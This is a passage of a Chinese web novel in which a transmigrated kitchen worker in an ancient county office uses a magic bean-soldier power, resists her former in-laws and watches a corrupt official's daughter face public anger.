一边说,一边风风火火走了。
苏蓉目送她背影,只能说声:“张婶子慢走!”
回到屋内,她把包袱放草席上,准备理理当枕头。一串钱带着厨房特有的烟火气,滚出来掉在地面发出轻响。
苏蓉拾起来一数,整整五百文钱!
顿时,她望向门外张厨娘离去的方向,心情变得五味繁杂起来。
非亲非故,张厨娘一直这么照顾她,真是欠了好大情分!现在人走远,追上去有点晚。只能待日后有机会,再想办法还这份沉甸甸的人情了!
庄达敲门进来。
“苏娘子,那井可以用了。井轱辘所用的木材、桶、吊索,你自己找人还是我一并给你弄了?”
苏蓉哪有时间自己去找,她明天要上工了!
“庄大哥,你给我一并弄好吧!顺便加个井盖,以防日后孩子玩耍时,不小心掉进去。”
她要接方婆婆祖孙一起来住,正好给她白天看家。
庄达不二话。
“加二百文!”
“行!”
苏蓉点头。庄达来得早,走得晚,估算不用给钥匙。加上知根底,这钱花得值!
庄达走后,查看光秃秃的井壁,井底的水差不多积蓄一米深,但没有吊桶打不上来。厨房剩的半桶水,又被工匠们用掉。
苏蓉转了一圈,只能提上空桶去找隔壁向婶,花一文钱买桶水提回家。
本来向婶不收,苏蓉不愿意占这种小便宜,道谢后硬留下钱走了。
毕竟天黑,她自己走两条街,去公用井打水不安全,还累人。向婶儿子儿媳尚未回家,做生意的人,早出晚归是常态,十分辛苦。
临睡前,苏蓉想起自己久已没用的金手指。寻思狩猎太显眼,猎物又卖不了多少钱,不如指使豆子兵找野参!
百年参发笔小财,千年老参说不定就此躺平。那玩意儿说自己在深山老林里碰运气遇到,谁也不会怀疑。
想到就做。
捏捏旧衣包还有几十粒缝在内层的豆子,苏蓉拿出来掷地一粒。
“撒豆成兵!”
铜甲兵伴随旋风出现在屋里,躬身下拜。
“奉吾主召唤!”
她最喜欢听豆子兵嗡声嗡气,威严无比地说这句话。
平日她低三下四,为五斗米折腰,活得卑微迷失。只有在豆子兵面前,她觉得自己是个人,被尊重着。
“能帮我寻找野生药材吗?人参、灵芝、何首乌,冬虫夏草与铁皮石斛都可以……最好年限合适,是它们最具有药用价值的时候采摘?”
“你认识这些药材吗?”
拿着根树棍儿,苏蓉准备随时给对方画图补课。
铜甲兵先点头,又摇头。
苏蓉不懂这是什么意思,失落地问:“做不到吗?还是不认识这些药材?”
果然不能太期待。一粒豆子,就算幻化成人,本质是豆子。
第58章 牛马
“药材,认识!半个时辰,时间不够!”
铜甲兵一字一顿。
回答这两个问题,似乎用尽他所有智商。
“没关系!”
苏蓉重新振奋起来。
“半个时辰,你能找到便带回来;找不到,我当……练兵了!”
那么容易,珍稀药材不成大白菜了?她有心理准备,豆子兵会长期寻觅不到老参。但一天三次,长期指使豆子兵去找,说不定哪天中彩了呢?
而且,金手指肯定越用越强大!以后能升级不是更好?
“遵命!”
铜甲兵抱拳施礼,化为一道狂风离去。
苏蓉趴在窗子上,眼巴巴望着院外,看得眼睛酸了。
半个时辰后,她再次召唤甲兵吩咐一番。这次没能撑到时间到,躺在草席上睡着了。
五更天,生物钟准时让身体醒来。洗把冷水脸清醒,捯饬好自己庄达也来了。苏蓉与工匠们打过招呼,匆匆拿着小包袱往县衙赶。
路上能看见换防的守城军列队走在官道上。小贩们推着热气腾腾的独轮车,装载垒得山高的蒸笼,沿街叫卖馒头胡饼。
牛马们在哪里都是牛马。
苏蓉买了个黑馒头。边走边啃,赶到厨房时差不多天蒙蒙亮。
一些杂役和她一样,是从家里匆匆赶出来上工。只有姜厨娘住在后衙,从容不迫,用帕子包好梳得整齐的发髻,踱步出来点卯手下厨工。
拿着考勤册,人到打勾,迟到注明。
苏蓉怕自己来晚了,结果她来得早。在这干了好几年的人全是老油条,尤其两位大厨,别人干了会活,才姗姗来迟。
姜厨娘对苏蓉点点头,分配她和小四儿去收拾芋头。今天早晨准备做芋头糕,得尽快把食材清洗出来。
小四儿年小,苏蓉怕她割着手,主动承担削皮的重任。小四儿负责洗。两人分工合作,速度倒是飞快。
芋头弄好,在几个婶子呼叫下又去帮忙择菜洗肉。小四儿则被喊去拉风箱看火。
总之说的是辰时早餐,其实忙到近午时,等大人们差役陆续领完饭,大家才能放下手头活,坐一起吃“早”餐。
苏蓉有幸品尝到这辈子第一次的点心。
芋头糕切得方方正正,四面炸得金黄,浇上糖浆,吃起来脆脆焦香。
甜味在舌尖蓓蕾扩散,舒服得她每一个毛细孔都张开,贪婪汲取这机会不多的盛宴气息。
其他人似乎腻了,没她吃相那么穷凶极恶。淡定地就着青菜咸菜,喝着小米粥。苏婶子几个,在旁边咕叽,眼睛看着苏蓉笑话。
苏蓉懒得理会。
你们不吃,正好便宜我多吃!
姜厨娘很满意苏蓉大半天的表现。
勤快,眼里有活,不用人盯着,还这么捧场她手艺。这芋头糕可是她拿手菜之一。厨房这群家伙,是吃多了吃腻了才会嫌弃。
当初刚进厨房,谁不是像苏蓉这般饿怂的?
吃完“早饭”没有午休时间,紧跟投入新一轮的备菜工作。
每天申时这顿是重点。要么有肉,要么有鱼。
苏蓉还帮忙收拾一只鸡。问是县令大人爱吃,隔山岔五要杀一只。烧烤、炖煮,油煎,变着花样来。
苏蓉想到傅振每一次出场,见到鸡两眼放光的模样,合理怀疑,叶大人帮忙背锅。
一连干了四天,庄达交工。苏蓉检查房子,该补的补了,该修的修了。
老井安装上新轱辘,木桶用吊索放下去,力气不大的人能顺利打上水。加上厚重的井盖,万无一失。她很爽快地结账送走工匠们。
盘点剩下的钱,加上张厨娘送来的,剩不到一两银。苏蓉寻思,看来家具只能延后买。连锅碗灶具也凑不齐,自己开火时机尚不成熟。
好在衙门工作包吃住,她不用背负过多压力。慢慢攒钱买家具可行。
转眼半月过去,苏蓉逐渐适应这种日出上工,日落归家的生活。姜厨娘了解情况,安排她连休两天,便于她回村。
差不多有一个月没见方婆婆祖孙,苏蓉挺想念的。
身上没多少钱,仍然花二十五文买五斤糙米,四十文买五斤粗面,背在背篓里,坐车回丰定村。
手握金手指底气足。尽管铜甲兵一直没能给她采集回人参之类珍贵药材,她坚信自己某一天能发横财。
村民们已经熟悉苏蓉的音容样貌了。
一进村,田间弯腰劳作的男人,悄悄抬头向她张望。女人们也交头接耳,顾不上手里农活窃窃私语。
挨了几顿打,冤枉进县大牢,赔的银子数额不知谁传出消息,众人眼红得不行。
不知该羡慕苏蓉,还是嫉恨苏蓉。反正每次回村,没见其背篓空过。方婆婆祖孙无亲无故沾光,真有福气!
苏蓉没理睬这些人。
无论原身,还是她,对这些势利的村民均无好感。
她快步走进方婆婆家。只见方小兰蹲在菜地拔草;方婆婆提着一桶沤好稀释的肥料,撒施菜地。
见到苏蓉进门,方小兰欢呼一声,蹦起来扑进她怀里。不爱开口的闷葫芦,一口一个“苏姨”,喊得甜甜。
方婆婆好久没见苏蓉,连忙丢下粪勺粪桶,去盆里把手洗了又洗,擦干净了才跟到堂屋,让孙女给苏蓉倒水。
想问苏蓉为什么这么久没来,却见苏蓉拿出粮食往米缸里放,不由嗔道:“你这孩子,咋又买粮?好不容易攒下钱,得留着自家过日子!”
苏蓉没理会这话,坚持把带来的米面给放下。她在衙门厨房包吃油水足,缺也不缺给祖孙俩的这点救命粮。
若是祖孙俩饿死了,那才是她来这世界的最大失败!
“方婆婆,我想和您商量以前说过的事!接您和小兰进城,咱们共同生活。”
等收拾好了,苏蓉才坐下,抱着小兰慢慢喝水,说明来意。
“我有些运道,如今在衙门厨房做工,买了新房。”
“你们不嫌弃,进城一起来住。您和小兰可以接些缝补浆洗的活,加上我的工钱,咱们过日子没问题!最重要的是,可以彼此依靠?”
她现在的家不像家。
她的身份和志向,以后也不大可能嫁人。所以,与方婆婆祖孙重新组建一个相依为命的新家庭,是她目前能想到的最好办法。
方小兰静静倾听,忽闪的大眼睛里,充满希冀和兴奋的亮光。
她半懂不懂,但苏姨描绘的未来,令她感到渴望。
第59章 听说大人爱吃鸡
然而方婆婆听罢苏蓉述说前因后果,为苏蓉庆幸感叹她的幸运、大难不死,仍旧坚决摇头,拒绝她的提议。
“妮儿,不是方婆婆固执,辜负你的好意。实在是我们祖孙有手有脚,何必要进城拖累你?”
“你现在支助我们祖孙不少。加上这村里靠山傍水,方便挖野菜草药。还有门前两小块菜地的产出,足够我们祖孙俩日常嚼用了。”
“若进城,小兰尚小,婆婆又老,接活儿怎比得过那些健妇?倒不如留下,更容易过日子,何苦去拖累你?”
苏蓉不死心,又劝。翻来覆去,方婆婆只是不答应。最后险些说生气了,苏蓉只得熄灭两家并为一家的心思。
方婆婆硬留苏蓉吃了一顿晌午饭,临走,翻出大包东西塞进苏蓉的背篓。
“妮儿,婆婆采到一些野山菌,晒干了给你,拿去炖在汤里,味道特别鲜美!”
一听是野山菌,苏蓉连忙要从背篓里拿出来,还给祖孙俩:“婆婆,这个值钱,拿去卖更合适。”
方婆婆生气。
“能值几个钱,抵得过你带来的粮?我这里采集许多,你只管拿去吃!再推脱,下次不许你来了!”
苏蓉没办法,只得收下。
辛苦来这一趟,没说动方婆婆。对着小兰依恋的眼神,难免有些难受。
本想有能力给祖孙俩更好的生活。但这么做怕是伤了方婆婆的自尊心,只能先保持现状,以后再看。
回城路上,想到对傅振的承诺,往山林里一钻,四顾无人,召唤出铜甲兵去狩猎。
坐在树下等候的功夫,只听一阵狗吠声,回头望去,原来是王猎人与其同伴,牵了几条狗上山去打猎。
走的不是一个方向,苏蓉躲在树后,对方没有注意。看见那狗,她倒是猛然想起一件事来!
当初蒲里正伙同金家害她,里正娘子魏氏故意纵狗吓她。暂时不能把蒲里正和金家人咋样,至少这条仗人势的恶狗,要解决掉出气。
否则哪天魏氏还得放出来害人!
苏蓉当即捏出一粒豆子。等之前铜甲兵猎回两只野鸡装进背篓后,再次召唤出铜甲兵吩咐。
“替我宰掉蒲里正家的恶狗,注意别让人发现!”
“遵命!”
铜甲兵风卷而去。
苏蓉故意逗留一会,才背着背篓慢慢下山。尚未走到山脚,脑海中蓦地响起一道威严沉稳的声音。
“撒豆成兵金手指升级!”
“一粒豆子撒下,可成一兵!当前能撒豆成兵一人;每天三次,一次一个时辰!”
苏蓉又惊又喜。
果然练级重要啊!以前她本末倒置,忙于打工求生存,忽略最大的依仗金手指。
看来以后一天三次的召唤必不可少。哪怕让铜甲兵帮忙干点家务活,也能多少涨点经验吧?
赶去坐回城车的路途,远远见蒲里正家门口闹哄哄的。魏氏尖厉的嗓门,划破天际。
“哪个杀千刀的,害了我家大黑?”
看热闹的村民们中,不乏有被魏氏纵狗行凶吓唬过的。
见那条耀武扬威、平日极其凶狠的大黑狗,脑袋、四肢被人暴力拧断,软耷耷躺在院子里,身下一滩血水,暗暗幸灾乐祸。
“里正娘子,这狗不是死在你家里的吗?除了你家的人,谁敢进你家杀狗?”
魏氏坐在地上,拍着自己大腿,涕泪交流,呼天抢地。
这狗她从小养到大,特别聪明听她话。她早养出感情,心目中比几个媳妇还有地位。突然死得这么惨,怎不叫她伤心难过?
但这狗没少咬过追过人,受害者碍于蒲里正,没敢上门声讨,但结下仇家不知凡几。一时间,她也不能推断杀狗凶手是谁。
苏蓉听着魏氏伤心的哭喊,嘴角噙着冷笑,绕路而行。
现在县令大人还关注着两桩杀人碎尸案,她不好继续犯案引起官府注意。等众人对此事淡忘下来,就轮着金家人和蒲里正了。
她是个心胸狭隘的人。
即便为可怜的原身,也不会善罢甘休!
回到县城,她卖掉一只野鸡,另一只野鸡直接蹲守县衙后角门,等傅振出来送给他。
傅振喜欢美食,特别爱吃鸡。县衙厨房三位师傅的手艺不能满足他,时不时地,他还会跑去集市买叫花鸡。
怕引人注意,走的还都是后门。这就是苏蓉几次三番遇着他的原因。
她送其野鸡,并不想让别人知道。故而只能守株待兔,等傅振溜出衙门才能逮住人。
果不其然,两天没吃鸡的傅振,申时许从后角门出来。
苏蓉蹿过去,在傅振惊讶目光中,刚把背篓面上的干草一掀,眼角余光瞄见随后走出的两人,顿时呆住了。
县令大人和燕彬,一身便装,不知打算去哪里?
苏蓉有种行贿送礼,被受贿人顶头上司当场拿贼拿赃的尴尬,说话声音都颤抖了。
“傅、傅爷,这是……”
叶清辞手摇折扇,缓步过来,看看背篓里被捆成一团的可怜野鸡,用疑问的眼神,瞅傅振。
傅振一整个亚麻呆住,瞪向苏蓉,“你故意害我”的控诉表情,呼之欲出!
燕彬不明意味地呵呵轻笑一声。
“大人!”
苏蓉情急生智,把背篓硬生生从傅振面前挪开,送到叶清辞手中,恳切无比。
“听人说您特别爱吃鸡,我特地趁今日放闲,回村下网捕捉的?请您无论如何笑纳?”
叶清辞嘴角一抽。
“听人说……听谁说?”
他回头瞪傅振。傅振抬头望天,低头瞄地,就是不敢看自家大人。
野鸡在箩筐里拼命挣动,发出沉闷响声。叶清辞折扇掩住自己口鼻,后退一步,嫌弃地扫视傅振一眼。
“愣着干什么?给钱,送厨房去!”
“嗳!”
傅振一听,就知道事情圆满过去,自己今晚又能吃鸡。快乐从钱袋里摸出五钱银子,往苏蓉手里塞,同时接箩筐。
出门在外,他负责保管大人钱袋。所以这买鸡钱算大人出,掏得毫不心疼,还多给两百文。
苏蓉慌忙抱住箩筐往后退一步,申明:“大人,不要钱!这是我一番心意?”
叶清辞目光投向她,多出一分凌厉。苏蓉顿时焉了,老实巴交接过钱,把鸡连同背篓交给傅振。
第60章 他胸膛硬邦邦的
傅振奔回去给厨房送鸡,叶清辞上下打量苏蓉几眼,淡淡开口:“苏氏,在厨房做工,习惯了吗?”
苏蓉忙道:“多谢大人给民女这个机会,让民女能够在城里立足。姜厨娘她们人都很好,十分照顾我?”
“是吗?”
叶清辞挑眉。
“不过我觉得你似乎太闲了,还有功夫进山套野鸡。或许,应该让姜厨娘给你多分配点活干!”
苏蓉顿时苦瓜一张脸。
搞半天她的行贿罪大佬没忘,还给她小本本记上一笔了。
正想挽救自己一把,一条黑影从后面冲出来。叶清辞眼神一凝,一把拽住挡在面前的苏蓉,将她拉向自己!
苏蓉踉跄扑到叶清辞怀中,整个人是懵的。
同一时间,燕彬手按剑柄,闪身挡在叶清辞身前。
对方原本打算抓住叶清辞袍角的,这一躲一闪,只抓住燕彬衣带。
苏蓉惊魂未定,半点没有被英雄救“美”的迤逦心思。只觉得鼻子重重撞在叶清辞坚硬的身板上,疼得生理盐水不受控制地从眼角溢出。
手下意识在叶清辞胸膛上摸了摸。硬邦邦的……该不会穿了甲胄什么的吧?
怕被人刺杀?
叶清辞抓住她的手,她瞬间反应过来!脸上爆热,红着脸迅速离开对方身体,捂住差点被撞扁的鼻子,躲到对方身后去。
叶清辞也没空管她,面色沉肃,看向被燕彬拦下的人。
苏蓉随之看去,发现突袭扑上来的人,竟然是“熟”人!
那个金竹海为之休弃原身,害死原身的“高枝”——
梅主簿千金梅玉儿!
想是蹲守衙门外,欲找县令大人为父申冤。却不知哪来的胆子,敢直接扑上来要抓住县令大人进行纠缠?
燕彬没有第一时间下杀手,多半也是因为第一时间看清对方是个芊芊弱女。只拦住她,没有做别的动作。
果然,下一刻梅玉儿爆出惊天哭喊。
“大人,冤枉啊!我爹是冤枉的……”
曾在宜阳县无限风光的梅家千金,此时哪有半分昔日风采?披头散发,衣裳既脏且皱巴。两道泪痕,将黑乎乎的脸冲出纵横交错的白印子。
不知当初的苏蓉,比之谁更凄惨?
苏蓉冷眼旁观。
梅主簿一干狗官,多年来贪赃枉法,不知残害多少无辜百姓!
梅玉儿或许没有亲手干坏事,但她和她娘,实实在在,享受了梅主簿带回家的诸多好处。那都是从受害者身上榨出的血泪!
谁也没资格替受害者原谅他们!
叶清辞皱着眉,听梅玉儿不断哭喊。想说什么,守后角门的衙役,还有街上路过的行人,纷纷跑过来。
梅玉儿拼命想往叶清辞身边爬,似乎认为只要纠缠住县令大人,对方就会怜惜她,为她或她爹做主。
然而,她梅大小姐身份,宜阳县百姓熟得不能再熟。
猛然,一把带着新鲜泥土的野草,被人从路边拔出来,狠狠砸在梅玉儿头上!人群中有人尖厉着嗓子喊。
“不要脸!你爹就是个大贪官!为了廉价买城东老江头那铺子,生生逼死人家孤儿寡母!”
“人在做,天在看!”
“我女儿好好在街上走路,硬是被栽赃盗窃,抓进大牢,没两天便说暴病没了……”
“青天大老爷啊!”
即便新任县令审查冤案,将牢房里含冤者释放,但之前枉死的,终究无辜没了。
“打她!”
“打死这贱人!”
围观百姓们一阵怒火。不知谁起了头,抓起地上碎石子和青草,用力朝梅玉儿身上砸去。
梅夫人追着女儿出门,原想趁女儿拦住叶清辞,跟着上去闹一把,不成想群众的愤怒彻底爆发。
眼见女儿被乱石子草泥砸得蜷缩一团,她瑟缩着,一时不敢上前。
比起女儿,百姓们应该更恨他们两口子……
燕彬被梅玉儿抓着,冤枉挨了好几下砸。泥土草叶飞溅,弄得他一袭干净长衫,瞬间不能见人。
“住手!”
燕彬愠怒,刷地抽出长剑,将飞来的几团不明物击飞!
待乱糟糟的场面为之一静,运足内力大喝:“大人在此,你们如此喧闹成何体统?聚众滋事、扰乱公序,当以律法处置!”
傅振带领一班衙役,从县衙内跑出来。
先将箩筐塞给旁边愣神的苏蓉,然后带领手持水火棍,或是拔出腰刀的衙役们,上前护卫叶清辞。
兵刃闪烁的寒光,映得众人噤若寒蝉。
叶清辞踏前一步,折扇收拢横在身前,目光疏离而冷淡地扫视人群。
“若有冤屈,大家尽可依序上堂申述!倘若蓄意生事,动用私刑,本官定当追究首恶,以正律法!”
梅玉儿浑身狼狈,匍匐在地,此时哪还敢发出声音?
燕彬嫌弃地抽回自己袍角,让衙役把梅玉儿拖走,暂且收监。
不是喊冤吗?那就去跟梅主簿一块在大牢团聚。让梅主簿自己好好跟这个女儿讲,他到底“冤”在哪里?
推搡叫嚷的人群,眼见没了发作对象,县令大人又亲自发话,顿时一哄作鸟兽散。
傅振觉得扫兴:“大人,我们还去微服私访吗?”
燕彬赏他个白眼。心想这三班衙役确实该整顿了!大人特地换了便衣,从后门出来,也能被外人堵门。
这不是有内贼是什么?
叶清辞周身散发出寒气,忽然转头看向畏缩在墙根处的苏蓉,眼神凉幽幽的。
“苏氏,你今天不是放闲日?还呆在这里干什么?”
苏蓉浑身一抖,尴尬地点头哈腰:“大人,我这就走!马上走!”
提起背篓利索开溜。唯恐跑慢一步,县令大人搞株连把她也从衙门厨房解雇了。
叶清辞目送她绝尘而去的身影,唇角微微上扬。恶劣的心情,莫名好了一丢丢。但转头看见傅振,气又不打一处来!
这臭小子!
学会背着他受贿了啊?
苏氏那么可怜的一个人,忍心让人家送礼?
傅振顶着大人凌厉审视的视线,苦着脸,觉得自己比窦娥还冤!
苏蓉一口气小跑回家。
虽说受了些意外惊吓,总体结果是满意的。原本打算送礼的野鸡,竟然得了五百文!加上原有的钱,她一下子有了一两六百文。
短时间内,不用担心没救急金了。
不过回想之前情形,她不由慢慢皱起眉。
大人为什么身穿甲胄?防范于未然吗?以雷霆手段一口气处置这么多贪官,大人一定得罪了宜阳县盘根错节的黑势力!
如果他不能很好地保护自己,是不是意味宜阳县的天,很快又要黑下来?
第61章 他们要我当续弦
第二天也是放闲日。
苏蓉怀揣一两多银子,跑去集市准备大采购。结果转悠一天,货比十家,最后只淘回一套二手桌椅,一块破木板。
加请挑夫,总共花费一两五百来文。
捏着剩余铜板,她无力感叹,真是低估当前物价。想要一下子填满空荡荡的屋,不可能的。还是先努力工作,努力挣钱吧!
没忘了召唤铜甲兵。金手指升级后限时一次一个时辰,她要计算好时间,不浪费这三次练级时间。
铜甲兵陆续给她带回来一小团何首乌的根茎,一小朵冠盖残缺的灵芝。
苏蓉不知道这究竟能不能卖钱。反正时间充足,铜甲兵便有几率给她带回药材。总有一天能借此发家。
她小心翼翼用软布擦干净何首乌和灵芝上面的泥土,晾晒在窗台上。
只有一点,害怕被鸟雀啄去,老鼠虫蚁啃咬,最后找根线,悬挂在屋内。以后出门关窗,就万无一失了。
一晃两天放闲日过完,第三天,苏蓉怀着完全不想上工的烦躁心情,离家去衙门。她把方婆婆送的野山菌,分了一半送给姜厨娘。
礼轻情意重。
姜厨娘笑得眉眼很温婉:“山菌用来炖鸡,味道特别鲜美。”
顿一顿,放轻声音:“听说前日那野鸡,是你献给县令大人的?”
苏蓉一愣,心内暗道傅振真是个大嘴巴!
似乎看出她没说出口的抱怨,姜厨娘抿嘴一乐:“衙役们之间传开的。不过,苏妹子你是否送错了礼?傅大人爱吃鸡,县令大人最讨厌吃鸡!”
苏蓉嘴比脑子快:“那县令大人爱吃什么?”
“大人们爱吃什么,我们一个小小厨娘,能窥探什么?”
姜厨娘随意回答一句。意味深长的眼神,盯得苏蓉面上忽然有些火辣。
身后人声嘈杂,厨工们陆续来上工了。姜厨娘对苏蓉点头,露出一丝柔和微笑。
“快去干活吧!桂皮八角不适合烹鱼,薄荷不适合烧肉烧菜。准备食材时,一定要注意分门别类?”
苏蓉答应着撸起袖管开始干活。脑子一灵光,突然觉得姜厨娘话里有话,似乎在暗示什么?
是提醒她注意自己身份,野鸡配不上凤凰吗?
她顿时心里有些生气。回头望一眼姜厨娘忙碌的身影。转瞬又释然。非亲非故,人家能提醒她,出于好意。
她默默低头洗菜,看着菜叶所带泥土,将一盆清水慢慢染得混沌。脑海中莫名想起,叶清辞那朗月清风般的身影。
难受的感觉,突如其来!
她啊,无论在现代还是古代,身份地位与叶清辞这样的人相比,的确是云泥之别。但是,努力真的冲不破阶级固化吗?
很快,她没有了胡思乱想的空当。繁重忙碌的工作,让她内心方升起的旖念,荡然无存。
暮霭沉沉,结束一天辛勤劳作的苏蓉,拎着姜厨娘特意给她打包的餐盒,拖着沉重脚步,准备回家。
这份饭菜省着吃,足够她夜宵加明早两顿。
快走到后角门时,忽然注意到廊柱后一道熟悉身影,蜷曲蹲在阴影里。双手抱着双臂,头深深埋在双膝之间。
她下意识轻手轻脚靠近。
对方肩头不住发颤,似乎在伤心哭泣,又努力抑制自己不发出声音。
“……冬梅!”
苏蓉忍不住低低唤一声。
金冬梅身后是门房。
后角门衙役值班换防的休息房间。担心金安福就在门房里面,她认出金冬梅,不敢大声喊。
对于她而言,金家兄弟就像是毒蛇。不能一击毙命,最好绕道走。但与金冬梅在金家长期相互依靠的情谊,又不能无视直接走掉。
听见耳熟的呼唤,金冬梅哆嗦一下,抬起满是泪水的瓜子脸,眼圈哭得泛红。
苏蓉瞄眼门房内无动静,赶紧上前拉住金冬梅的手,把她带到影壁旁的花坛边,借角度挡住来往路人的视线。
金冬梅没挣扎,温顺随她走。手上茧子,比苏蓉还粗还糙,一握下去,互相伤害。
苏蓉低头看看彼此,叹口气,松开对方。
“冬梅,你来看你二哥?”
金冬梅默默点头。片刻,用蚊蝇细的声音回答:“我和我娘一起来的。”
听到老金氏那老娘们伤好能走动了,苏蓉一阵恶心。想着待会要不要召唤甲兵,再把对方双脚拧断?
看看面前的金冬梅,只怕累及无辜……
算了,再找机会!
“你哭什么?”
她皱眉。金冬梅心善,金家歹竹出好笋。可这丫头与原身一样软弱可欺,难怪能同病相怜,感情深厚。
“你娘正在门房里和你二哥说话吧?待会出来,若看到你在哭,不打死你?”
苏蓉掏出块帕子递给金冬梅,眼睛警惕关注周围动静。
这里可是衙门!
也不知道金家母子又干什么事了,会让金冬梅如此伤心失态!
“大……蓉姐姐,你现在过得好不好?”
金冬梅平复情绪,伸手拉苏蓉,软糯糯的愧疚。
“对不起……我压根帮不上你一点忙?”
说着,眼圈又红,眼泪在眼眶打转,欲掉不掉。
苏蓉翻个白眼:“你且别管我好不好!先回答我问题,你刚才哭什么?赶紧说,说不定我能帮你!”
“你帮不了我……”
金冬梅面色悲戚:“蓉姐姐……他们正在商量,把我嫁给鲁班头当续弦!”
“鲁班头?”
苏蓉差点跳了起来,不可置信。
“你爹要不死,鲁班头能赶上你爹的年纪了!他还是有过老婆的……”
在衙门干活,苏蓉听到不少八卦。自然了解跟着金家人打滚,双方有密切关系的鲁班头!
其上一任妻子,说是急病而逝。小道消息是鲁班头酒后经常家暴妻子,妻子实在不堪忍受,上吊自缢。
而且还留下两个小孩。金家人这是狠心要把金冬梅嫁过去,忍受家暴不说,还要喜当娘?
苏蓉脑袋火山爆发,血管里的血液突突直涌。
金冬梅拿着苏蓉的帕子,用力摁在眼睛上。沉闷的声音里,充满死寂与绝望。
“他们现在正在门房里面,商量聘礼。我听到鲁班头愿意出二十两银子?蓉姐姐……我不想活了……”
她抓紧苏蓉手腕。几根指头,带出莫大力气,几欲掐进苏蓉肉里,仿佛攥住最后一根救命稻草。
“我早就不想活了……”
第62章 吃里扒外
苏蓉听着她崩溃压抑的呜咽,心里不好受。
二十两银子,买一个姑娘一生。如果是正经嫁人倒也罢了,可老夫少妻,对方还是个家暴男!
她若没买房倒有钱……
不!
有钱金家人也不会放过金冬梅!
女儿在这个时代来说,就是家里的财产。富则联姻,穷则救命。没多少爹娘,愿意考虑女儿嫁人自己的意愿。
父母之命,媒妁之言!
她憎恶金家人,厌恶助纣为虐的鲁班头。不知为什么,这次衙门大清洗,叶大人没有揪出鲁班头?
她绝对不信鲁班头在满池墨水里,出污泥而不染!只可能是隐藏太深?
金冬梅要救,无耻的金家人和鲁班头得给个教训,她不能引起官府怀疑……
眼珠一转她有了主意,从金冬梅手里拿过帕子,帮她擦擦眼泪后揣回自己身上。以免被老金氏认出是她的东西,平生麻烦。
“别哭了,我帮你想办法!你还有你大哥呢,说不定,他不愿意将你随便嫁了?”
即使面对金冬梅,苏蓉依然保持戒心,没说明自己打算,反将金竹海扯出来当借口。
“真的吗?”
金冬梅喃喃。明知苏蓉在安慰她,一线希望也算希望,啜泣声音不由小点。
她确实不能再哭了。回头被她娘看见她眼睛红肿,一顿毒打跑不掉。
她娘寡居将三个孩子拉扯大,生活不易,养成说一不二的泼辣性格。除了有出息的大哥,谁的话也听不进去。
“那是当然,别忘了你大哥一心想攀高枝!你的婚姻,你娘和你二哥说了不算。”
苏蓉没冤枉金竹海。
金竹海一心往上爬。先害死原身,又毫无信义解除与梅家的婚约。这样的男人,既卑劣又可怕。
金冬梅若是有助力他仕途的作用,他同样会不犹豫地将妹妹抛出去。所以,一个小小衙门班头,不一定能如愿娶到金冬梅!
“冬梅!死丫头跑哪里去了?”
她们悄悄说话的功夫,角门那边,传来老金氏压抑愤怒和暴躁的呼唤声。
金冬梅浑身一抖,慌忙站起。苏蓉急忙抓住她手,悄悄道:“千万不要跟你娘他们说,你在衙门见过了我?”
她要的是淡出众人视野,暗中才方便对付金家人。一旦明面与之针锋相对,占不到半分好处。
金冬梅点点头,慌张地整理发丝,让长长刘海垂下来遮住眼睛。低着头,小碎步跑到影壁另一端。
苏蓉继续蹲在原处,侧耳倾听外面动静。
老金氏看着姗姗来迟的女儿,鬼火冒。
自己和小儿子跟鲁班头商量大事,这死丫头招呼不打一声,不知跑去哪里?
她惯性一巴掌扇过去,打在低头弯腰的金冬梅肩头上,拍得人踉跄两步,口中低声怒骂。
“死丫头,你上哪里去了?这里可是衙门!你当还在自家乡下呢,冲撞哪位大人,谁担待得起?”
“娘,我肚子疼,去找茅厕……”
金冬梅小声怯怯分辨。
金安福嫌弃地瞟眼妹妹。
就这个干瘪的毛丫头,不知鲁哥瞧上了哪里?还要娶作续弦!依他看,不如宜春楼的小桃红,人家有胸有臀有女人味……
当然,这死丫头的确能干活!或许鲁哥看中的是这点?
“好了,金婶,这里有我。金姑娘稍微走动下,没事!”
鲁班头笑着出来打圆场。
年纪明明比老金氏小不了几岁,厚着脸皮叫“婶子”。恶心粘糊的眼神,在金冬梅胸前和屁股上直打量。
苏蓉躲藏在花坛后,等老金氏带着金冬梅离开衙门,鲁班头和金安福又进了门房,她才慢慢直起腰。冲守角门的衙役亮一下腰牌,走出衙门。
遇见恶心的人,晚餐吃的麻辣拌菜差点顶到嗓子眼了!
不过她没走几步,看见前方两道停驻的人影,似乎在等她,不由得心中一跳。
“贱皮子!”
老金氏乜斜着吊梢三角小眼,绷紧在高颧骨之上的黑面皮,全是残忍的笑意。一只手狠狠掐住金冬梅手腕,一只手指她。
“苏氏,我就知道是你?这死丫头不会说谎,屁股一撅,我就知道她拉什么屎!果然,她是偷偷跑去看你了!”
她随手照着金冬梅脸上,狠狠抽了两巴掌,抽得金冬梅呜咽直哭。只敢缩头躲避,不敢逃开她身边。
“吃里扒外的东西,养你有什么用?”
老金氏愤怒得很!
听老二说,自家撵出去不要的前儿媳,竟然受到县令大人青睐,进入县衙当厨工。
更让她不平衡的,是邓教谕家因苏氏遭殃,赔了老大一笔银子。当真是个祸害,走到哪都能殃及无辜!
最过分的,自家老大因此损失梅家这门得意姻亲,导致她享福的美梦破裂。
冬梅这死丫头,还不懂事窝里反与苏氏亲近!难不成,苏氏又想挑唆破坏她好不容易给女儿挑的这门亲事?
虽然鲁班头年纪是大点,但人家三代为公,底蕴不浅。冬梅嫁过去,不愁吃穿,比进农家门,好了不是一星半点。
她这当娘的,会害女儿不成?
谈情说爱,是这世上最没用的东西。人要讲现实!等冬梅到了她这年纪,自然会理解她一片苦心。
苏蓉看着趾高气扬的老金氏,没怨金冬梅不争气暴露自己。反正她现在不是金家人,对方气得把裙子跳脱,明里拿她没办法!
她站住脚,冷眼瞅着老金氏骂街,不甘退让道:“我是冬梅的前大嫂,她来衙门,顺道看我一眼有什么不对?”
“总不像某些人,表面道貌岸然,背地蝇营狗苟,为几两碎银背信弃义,害人性命!这般行若狗彘的做派,才真正是贱、画虎画皮难画骨!”
老金氏气得浑身发抖。
没想到以前任打任骂不敢还手,几棍子敲不出一个闷屁的苏蓉,能不带喘气地驳斥她一堆话?
关键是某些词她还不怎么听得懂,这简直倒反天罡!
老金氏哪能容忍往日一直欺压的人,现在翻身跟她唱反调?怒喊一声:“我打死你这个贱皮子!”
丢开金冬梅,朝苏蓉扑了过来,想要撕她的头发,抓她的脸。
金冬梅拼命拉住她娘,连声哀求。
“娘,这是在城里!这是在衙门前?倘若闹大了,会影响二哥……”
